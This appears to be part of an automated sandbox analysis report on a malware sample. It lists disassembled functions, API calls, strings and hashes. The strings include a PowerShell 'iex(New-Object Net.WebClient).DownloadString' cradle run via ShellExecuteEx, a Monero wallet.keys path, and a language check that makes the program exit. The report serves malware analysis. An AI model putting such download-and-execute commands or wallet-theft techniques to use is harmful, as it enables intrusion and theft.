Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: caf3b5d805ba5e151bfda27380814836564d0b19cd8833051e244cc9537ec2f2
Instruction ID: b3b3b58a7f998b9620f56be06469458ab8e288e1ce4a07411979fba00e0f183c
Opcode Fuzzy Hash: caf3b5d805ba5e151bfda27380814836564d0b19cd8833051e244cc9537ec2f2
Instruction Fuzzy Hash: 26513C309101499BCB14FF60DD96AED377AAF10300F584119E8065B292EF38AB05FB6A

Function 00FD6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00FD6774
ExitProcess.KERNEL32 ref: 00FD67A5
ExitProcess.KERNEL32 ref: 00FD67AF
ExitProcess.KERNEL32 ref: 00FD67B9
ExitProcess.KERNEL32 ref: 00FD67C3
ExitProcess.KERNEL32 ref: 00FD67CD

Strings

*, xrefs: 00FD678C

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 13002362f5078afc2032b48aa29e1fef68d7e2fb402b489dfe51bdd962ff1c35
Instruction ID: 1113c7b9c0a8d78761f5e851d1c39a07737fb13126ce8f533c0782ec712bf723
Opcode Fuzzy Hash: 13002362f5078afc2032b48aa29e1fef68d7e2fb402b489dfe51bdd962ff1c35
Instruction Fuzzy Hash: 5CF05E30904309EFD3599FE0F50D76C7B70FB04703F444399E60A87286DA704B419B95

Function 00FDC84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00FDC8BF
___crtGetStringTypeA.LIBCMT ref: 00FDC8EC
___crtLCMapStringA.LIBCMT ref: 00FDC90C
___crtLCMapStringA.LIBCMT ref: 00FDC931

Strings

, xrefs: 00FDC896

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: d5ec38ef74f568d430f9231c2b1767fe2d08c6016520e8e03df060e25a268092
Instruction ID: ca8bae1400014042b02db60c362b48adbd6cf57d7bd53afcb5000de6559997cb
Opcode Fuzzy Hash: d5ec38ef74f568d430f9231c2b1767fe2d08c6016520e8e03df060e25a268092
Instruction Fuzzy Hash: 674116B150079D5EDB218B248D94FFB7BFA9F05304F1C44E9E98A87282D2719A44EFA1

Function 00FD2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

ShellExecuteEx.SHELL32(0000003C), ref: 00FD2D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00FD2CC4
<, xrefs: 00FD2D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00FD2D04
')", xrefs: 00FD2CB3

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 02ccf6e6d7d0a45159010fb2821f9a26bd828745fa5a0313d12c4cf46b119be9
Instruction ID: 57179c0d54fa8968458c7378eb33628b38e457051bd70523bc28c1e7b20225c4
Opcode Fuzzy Hash: 02ccf6e6d7d0a45159010fb2821f9a26bd828745fa5a0313d12c4cf46b119be9
Instruction Fuzzy Hash: 3D41DE71C102489ADB14EBA0CC91BEDB775AF10300F44411AE416A7291EF786A4AFF9A

Function 00FC9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00FC9F41

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Strings

v20, xrefs: 00FC9E21
v10, xrefs: 00FC9EA3
ERROR_RUN_EXTRACTOR, xrefs: 00FC9E67
@, xrefs: 00FC9EF1

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: bc10fa86c4cf7a8c2d76a3bce9c23f1d2875aa95e9b30507ce1d9e1febb8bbd7
Instruction ID: 1bdc24fd073371c6a72596fc5f3f13a5f2e205845d2889484e11309dd9e87a2c
Opcode Fuzzy Hash: bc10fa86c4cf7a8c2d76a3bce9c23f1d2875aa95e9b30507ce1d9e1febb8bbd7
Instruction Fuzzy Hash: 1C615071A1024CDBDB24EFA4CD96FED7775BF44344F048018F90A5B281EBB8AA05EB56

Function 00FD6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00FD696C
sscanf.NTDLL ref: 00FD6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00FD69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00FD69C0
ExitProcess.KERNEL32 ref: 00FD69DA

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: eec54f2f3d21edce5d14f0221b5d832b08e3a865e2ab4fc570227f70b192336c
Instruction ID: 745fed37334ad65e41e758119b575a51da0262eaabea74c267a998f327385d0b
Opcode Fuzzy Hash: eec54f2f3d21edce5d14f0221b5d832b08e3a865e2ab4fc570227f70b192336c
Instruction Fuzzy Hash: 3D210E75D00208ABCF04EFE4E949AEEB7BAFF48300F04852EE406E3245EB345604DB69

Function 00FD9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(007BDFD8,?,?,?,00FD140C,?,007BDFD8,00000000), ref: 00FD926C
lstrcpyn.KERNEL32(0120AB88,007BDFD8,007BDFD8,?,00FD140C,?,007BDFD8), ref: 00FD9290
lstrlen.KERNEL32(?,?,00FD140C,?,007BDFD8), ref: 00FD92A7
wsprintfA.USER32 ref: 00FD92C7

Strings

%s%s, xrefs: 00FD92B5

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: a5267458310ef4ded353f8846f50948c093e2c53abc802e1ed269bdb60527b88
Instruction ID: 5571745047dc209582cea71e84d81defcca17f5d142839815903b5a18355b62c
Opcode Fuzzy Hash: a5267458310ef4ded353f8846f50948c093e2c53abc802e1ed269bdb60527b88
Instruction Fuzzy Hash: 74010875500208FFCB05DFECD988EAE7BB9EB48351F948648F9098B246D671AA40DB91

Function 00FD6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00FD6663

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

ShellExecuteEx.SHELL32(0000003C), ref: 00FD6726
ExitProcess.KERNEL32 ref: 00FD6755

Strings

<, xrefs: 00FD66D9

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 5cce4080c05cf9f1955599bd620d9a594c9b99b67f0643cffb8e5f5d575393d8
Instruction ID: c2fb586193b01de41235759d003a150f01ce61a51d552447675582f34b52181c
Opcode Fuzzy Hash: 5cce4080c05cf9f1955599bd620d9a594c9b99b67f0643cffb8e5f5d575393d8
Instruction Fuzzy Hash: 073150B1C01218ABDB15EB50DC95FDD7779AF04300F84418AF20A67292DF786B49DF5A

Function 00FD87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FE0E28,00000000,?), ref: 00FD882F
RtlAllocateHeap.NTDLL(00000000), ref: 00FD8836
wsprintfA.USER32 ref: 00FD8850

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Strings

%dx%d, xrefs: 00FD8847

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
